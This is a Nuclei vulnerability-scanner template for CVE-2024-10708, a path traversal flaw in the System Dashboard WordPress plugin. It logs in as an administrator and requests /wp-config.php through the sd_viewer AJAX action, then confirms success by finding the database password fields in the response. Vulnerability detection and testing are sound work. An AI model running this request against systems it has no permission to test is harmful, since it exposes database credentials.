id: CVE-2024-10708

info:
  name: System Dashboard < 2.8.15 - Admin+ Path Traversal
  author: 0x_Akoko
  severity: medium
  description: |
    The System Dashboard WordPress plugin before 2.8.15 does not validate user input used in a path, which could allow high privilege users such as admin to perform path traversal attacks an read arbitrary files on the server
  impact: |
    Authenticated administrators can exploit path traversal through the filename parameter in the sd_viewer action to read arbitrary server files including wp-config.php, exposing database credentials and sensitive configuration data.
  remediation: |
    Fixed in 2.8.15
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10708
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/system-dashboard/system-dashboard-103-local-file-inclusion
    - https://wpscan.com/vulnerability/61d750a5-8c2c-4c94-a1a9-6a254c2a0d03/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.9
    cve-id: CVE-2024-10708
    cwe-id: CWE-22
    epss-score: 0.01974
    epss-percentile: 0.77868
    cpe: cpe:2.3:a:bowo:system_dashboard:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: bowo
    product: system_dashboard
    framework: wordpress
    fofa-query: body="/wp-content/plugins/system-dashboard/"
  tags: cve,cve2024,wpscan,wordpress,wp-plugin,lfi,auth,system-dashboard,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=sd_viewer&filename=/wp-config.php&load_plugins[]=system-dashboard/system-dashboard.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022044d7533845f66d7fdf7e602a9e9a49ed75aa678bf310b7813d2e9a5d6d4c48c7022017c49f143e15d222444710dad830662f0ef9a63cf4d3978dc399893f98d164af:922c64590222798bb761d5b6d8e72950